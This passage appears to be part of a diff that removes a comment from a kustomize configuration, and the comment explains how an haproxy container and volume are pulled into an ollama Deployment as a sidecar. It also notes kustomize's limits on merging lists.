-# This adds a sidecar to the ollama Deployment, by taking
-# the pod template and volumes from the haproxy Deployment.
-# The idea is to allow to run ollama+haproxy in two modes:
-# - separately (each with their own Deployment),
-# - together in the same Pod, sidecar-style.
-# The YAML files define how to run them separetely, and this
-# "replacements" directive fetches a specific volume and
-# a specific container from the haproxy Deployment, to add
-# them to the ollama Deployment.
-#
-# This would be simpler if kustomize allowed to append or
-# merge lists in "replacements"; but it doesn't seem to be
-# possible at the moment.
-#
-# It would be even better if kustomize allowed to perform
-# a strategic merge using a fieldPath as the source, because
-# we could merge both the containers and the volumes in a
-# single operation.
-#
-# Note that technically, it might be possible to layer
-# multiple kustomizations so that one generates the patch
-# to be used in another; but it wouldn't be very readable
-# or maintainable so we decided to not do that right now.
-#
-# However, the current approach (fetching fields one by one)
-# has an advantage: it could let us transform the haproxy
-# container into a real sidecar (i.e. an initContainer with
